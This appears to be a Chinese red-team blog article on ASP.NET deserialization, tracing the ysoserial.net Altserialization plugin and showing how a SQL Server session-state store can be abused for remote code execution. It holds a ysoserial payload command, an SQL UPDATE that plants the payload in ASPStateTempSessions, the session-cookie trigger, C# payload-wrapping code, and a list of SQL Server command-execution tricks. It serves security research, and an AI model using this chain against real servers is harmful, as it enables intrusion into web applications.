21.从Altserialization到SessionState反序列化再到SQL Server数据库隔山打牛

2024-11-26 13:23   广东  

1.关于Altserialization

第一部分只是作为知识点的铺垫,真正有趣且笔者认为实战中能用得上的部分放在第二小节往后,不过第一部分其实也是挺ez的

下面就正式进入ysoserial.net的plugins的学习了,还有一些反序列化点后续再补齐,先以一个有趣点plugins的进行开场吧,这里我们就从Altserialization这个plugins开始学习

首先一上来我们可以注意到,这个plugins有两个mode,分别是

HttpStaticObjectsCollection

SessionStateItemCollection

看起来我们的研究对象Altserialization和这俩东西的关系很密切,那我们就一起看看,在System.Web命名空间中找到HttpStaticObjectsCollection类,我们马上就能注意到一个Deserialize()方法

反序列化?这就很有意思了,那具体是怎么实现反序列化行为的呢?这里我们就可以注意到,这里要先调用ReadInt32()、ReadString()、ReadBoolean(),经过一系列的判断,最后进入

ReadValueFromStream()

跟进ReadValueFromStream()方法,这个方法里会先进行ReadByte(),根据读取的结果进行后续操作

如果结果是20,那么我们可以看到一个很熟悉的东西,没错,BinaryFormatter的反序列化点

也就是说,如果我们能构造一个特殊的序列化数据,进入到上述流程,就可以实现反序列化攻击,因为在使用ReadValueFromStream()进行反序列化时,实际上是使用了BinaryFormatter反序列化,非常危险。

那么HttpStaticObjectsCollection有Deserialize()方法,其中有一个ReadValueFromStream()的调用,那么我们很容易能推测应该还有一个Serialize()方法,其中有WriteValueToStream()的调用。我们来看看:

确实有这个方法,这里把一个object类型的数据和BinaryWriter类型的对象一并传入WriteValueToStream()方法

我们再跟进WriteValueToStream()

这里会判断第一个参数具体是什么类型,如果不满足一些常见类型,走入下面这个分支,那么就会写入20并进行BinaryFormatter序列化

所以其实如果我们想要生成一个用于攻击

HttpStaticObjectsCollection.Deserialize()

反序列化点的payload其实很简单,我们只需要在原payload的前面补充一些数据即可。例如ysoserial.net的实现,就是在原payload的前面插入信息,从而满足ReadInt32 + ReadString + ReadBoolean的判断(不知道为什么要这么做的再回去看看Deserialize的细节),然后再补一个Byte为20,这个是为了满足ReadValueFromStream()内的判断,都通过后就可以走到BinaryFormatter反序列化点,实现整个反序列化流程了

我们使用下面这样的命令就可以生成用于攻击HttpStaticObjectsCollection.Deserialize()反序列化点的payload:

ysoserial.exe -M HttpStaticObjectsCollection -o base64 -c "calc.exe" -p Altserialization

使用下面这样的demo进行测试:

成功命令执行(ysoserial.net的这个plugins生成的payload默认使用TypeConfuseDelegate链子)

看起来,这只是一个多套了一层包装的BinaryFormatter反序列化点,又给我水到一期文章,然而并非如此,本文真正有意思的姿势还在后面。


2.从SQL Server RCE说起

关于SQL Server数据库或者SQL Server注入点RCE的姿势,那可是真正意义上的烂大街了,在面试的时候,如果被面试官问到类似的问题,基本都是一顿说,比如什么:

xp_cmdshell、sp_configure、SP_Addextendedproc、沙盒提权、xp_regwrite粘滞键劫持、差异备份、LOG备份、sp_makewebtask写文件、CLR提权、JOB提权、SQL Server R & Python提权

内网经验比较丰富的师傅可能还会想到SQL Server结合NTLM Relay的组合拳,不过比较常见的手法也就是上面这些了。

再比如,如果面试官问你,如果你有一个MSSQL注入点,但是存在一个站库分离的情况,你该怎么拿下目标站点呢?一般都是尝试修改数据进后台找别的功能点getshell,或者设法RCE进内网然后再考虑横向对吧(也有用powershell脚本做http代理的案例)。

但是,下面要介绍的姿势并不那么常见,无论是实战攻击站库分离,还是和面试官(装)交(逼)流,都是有点用的。在开始下面的介绍之前,我们还是得先从ASP.NET的Session机制开始说起。

众所周知,WEB开发里有一个再经典不过的概念,Session,在ASP.NET代码里多表现为如下形式:

我们可以使用

Session["Username"] = xxxx;

把想要的信息存放在Session变量中,并保存到内存里,需要的时候也可以拿出来调用。

但是,什么都往内存里塞是一个坏习惯,因此.NET还给我们提供了一些机制,可以把Session塞数据库里,参考微软文档的介绍:

我们不妨来试试这个机制。运行如下命令在SQL Server数据库里添加相关的库:

aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssadd -sstype p

也可以用Windows认证去连接并创建,一样的:

aspnet_regsql.exe -S 127.0.0.1 -ssadd -sstype p -E

这时候,数据库中会出现一个新的库,名为ASPState,其中有两个表,一个名为ASPStateTempApplications,另一个是ASPStateTempSessions

目前里面什么东西都没有

然后我们在web.config里添加如下配置项:

<sessionStatemode="SQLServer"sqlConnectionString="data source=127.0.0.1;user id=<username>;password=<password>" timeout="20"/>

如果是windows认证模式则使用下面的配置:

<sessionState    mode="SQLServer"    sqlConnectionString="data source=127.0.0.1;Integrated Security=SSPI;"    timeout="20"/>

配置好后,我们访问一个带有Session机制的页面,会发现ASPStateTempSessions表中多出了一条数据:

这个SessionId就和我们访问时携带的SessionId有关

其他值都好理解,但是这里有一条数据非常显眼,那就是SessionItemShort,将其转化为HEX查看:

这样,本文的主角就登场了


3.SessionState反序列化

上面我们似乎介绍了两个完全没有关系的东西,Altserialization反序列化,以及把Session信息存放到数据库里的姿势。他们之间能建立起什么联系呢?这里其实细想一下就能思考出一些端倪,我们要把Session信息存放到数据库里,这个Session可不只有一些简单的数据类型,要把一个对象存放到数据库里,并且后续能被拿出来调用,这其中难免有序列化与反序列化的流程,如果存在这样的流程,有没有可能受到反序列化攻击的影响呢?而我们就要尝试找到这个流程,并看看会不会存在风险。找到System.Web.SessionState命名空间,搜索其中的反序列化相关方法,比如搜索Deserialize

可以找到少数几个方法,会不会就是我们需要的呢?跟进SessionStateUtility类的Deserialize()方法,可以发现,它的第二个参数拿到Stream后,也会先读取一些信息,然后以此判断是进入

SessionStateItemCollection.Deserialize()

还是

HttpStaticObjectsCollection.Deserialize()

而这两个方法我们在前面介绍过了,是能被我们攻击的

并且还要避免进入这个Exception,也就是说我们还得对payload再进行一次包装,后面再说

总之,只要有SessionStateUtility类的Deserialize()方法的调用,就可以实现RCE,那么我们怎么确定上述流程中使用的是这个反序列化方法呢?以及,它的值我们应该怎么控制呢?我们可以用分析功能看一下Deserialize()都被谁调用了:

DeserializeStoreData()基本上就相当于直接调用SessionStateUtility.Deserialize()方法,没啥好看的

这里一路看到SqlSessionStateStore类的GetItem()方法,GetItem()调用本类DoGet()方法实现功能

跟进DoGet(),里面有DeserializeStoreData()的调用,而DeserializeStoreData()接受的序列化数据来自于

sqlCommand.Parameters[1].Value

那么sqlCommand.Parameters[1].Value具体是什么值呢?

看到这里的@itemShort,其实就可以隐约猜测到和前面说的SessionItemShort有关了

如果下个断点,那么能看的更加清楚

So,我们可以推断,这里就是获取了SessionItemShort的值,并且将其送入

SessionStateUtility.DeserializeStoreData()

执行后续的反序列化流程。因此,猜想我们只需要把SessionItemShort的值换成特定的序列化payload,并且触发上述提到的GetItem()方法,就能实现反序列化攻击。

在验证我们的猜想之前,我们还得对payload再进行包装,我们前面提到,这里需要调用SessionStateStoreData.Deserialize()方法进行反序列化,我们还得包装一下我们的序列化payload,令其走到HttpStaticObjectsCollection.Deserialize()的流程。

结尾还得补上这个

根据上述规则,我们写出如下代码:

这样就完成payload的最后包装

接下来怎么利用呢?如果目标的ASPStateTempSessions表中已有Session信息,那么可以直接替换已有的Session的SessionItemShort字段,例如

我们运行下面的SQL语句进行替换:

UPDATE ASPState.dbo.ASPStateTempSessions       SET SessionItemShort = 上文提到的最终的payload       WHERE SessionId = 'SessionId的值'

(额外注意,如果Locked为1,那么Session被锁定,不再有用,复现时要格外注意这一点,要令其值为0)

替换完之后应该怎么触发呢?也可以猜一下,当我们携带特定的SessionId发起请求时,.NET会在数据库里查询对应的Id,然后取出SessionItemShort进入反序列化流程,我们不妨来试一下,刚刚我们在数据库里看到的SessionId是:

4kyh3ppxpzwadusfu3lg1fqv2b7731d2

我们不要后八位,也即:

4kyh3ppxpzwadusfu3lg1fqv  2b7731d2//我们需要的部分         //不需要的部分

携带

ASP.NET_SessionId=4kyh3ppxpzwadusfu3lg1fqv

访问任意一个页面,触发反序列化

当然,如果目标数据库的ASPStateTempSessions表中还没有现成的Session,也有很多方法,例如生成一个32位随机字符串,访问需要session机制的页面,就可以在数据库中刷新一个session:

(如果还不行得自己研究SessionId生成逻辑,然后手动往表中插一条数据了)

这就是这个漏洞好玩的地方,在站库分离的场景下可以实现隔山打牛的效果,在实战中主要注意两点,第一点就是SQL Server数据库中是否有ASPState库,如果有这个库,那么大概率也有相关机制的使用

再其次,拿到web.config配置文件,可以关注一下有没有sessionState配置项,如果类似下面这样,那就非常有戏

最后,我实现了一段代码,可以把HttpStaticObjectsCollection的序列化Payload包装成满足SessionStateStoreData.Deserialize()反序列化需求的格式:

// 原始的HttpStaticObjectsCollection payload             string base64Data = "HttpStaticObjectsCollection payload";            // 解码 Base64 数据            byte[] originalData = Convert.FromBase64String(base64Data);            // 定义前缀和后缀,这是为了满足SessionStateUtility.Deserialize()的需求            byte[] prefix = new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x01 }; // 0, false, true            byte[] suffix = new byte[] { 0xFF }; // 255            // 创建新的字节数组            byte[] newData = new byte[prefix.Length + originalData.Length + suffix.Length];            Buffer.BlockCopy(prefix, 0, newData, 0, prefix.Length);            Buffer.BlockCopy(originalData, 0, newData, prefix.Length, originalData.Length);            Buffer.BlockCopy(suffix, 0, newData, prefix.Length + originalData.Length, suffix.Length);            // 转换为 HEX 格式,并以 0x 开头            string hexString = "0x" + BitConverter.ToString(newData).Replace("-", "");            Console.WriteLine(hexString);


4.总结

一个非常有趣的漏洞,在站库分离场景下可以实现隔山打牛的效果,顺带把Altserialization这个plugins的原理学习了一遍,除了HttpStaticObjectsCollection,实际上还有一个流程和SessionStateItemCollection的Deserialize()方法有关,这个就交给读者朋友自己发挥了(


5.参考

https://devco.re/blog/2020/04/21/from-sql-to-rce-exploit-aspnet-app-with-sessionstate/

文章写得很好,就是湾湾地区太多计算机术语的叫法和大陆不同,读的难受,我自己做了一些术语的对照:

伺服器:服务器資料庫:数据库資料表:数据表程式:程序記憶體:泛指有存储功能的硬件(文中指内存)分散式架構:分布式架构設定:设置內建:内置物件:对象(如List对象)程式碼:源码呼叫:调用(call回调?)函式:函数變數:变量欄位:(数据库)字段亂數:随机数?客製化:客制化(自定义)一筆:一条(比如一条数据)

结尾还得补上这个


HW专项行动小组
大师!教我打攻防
 最新文章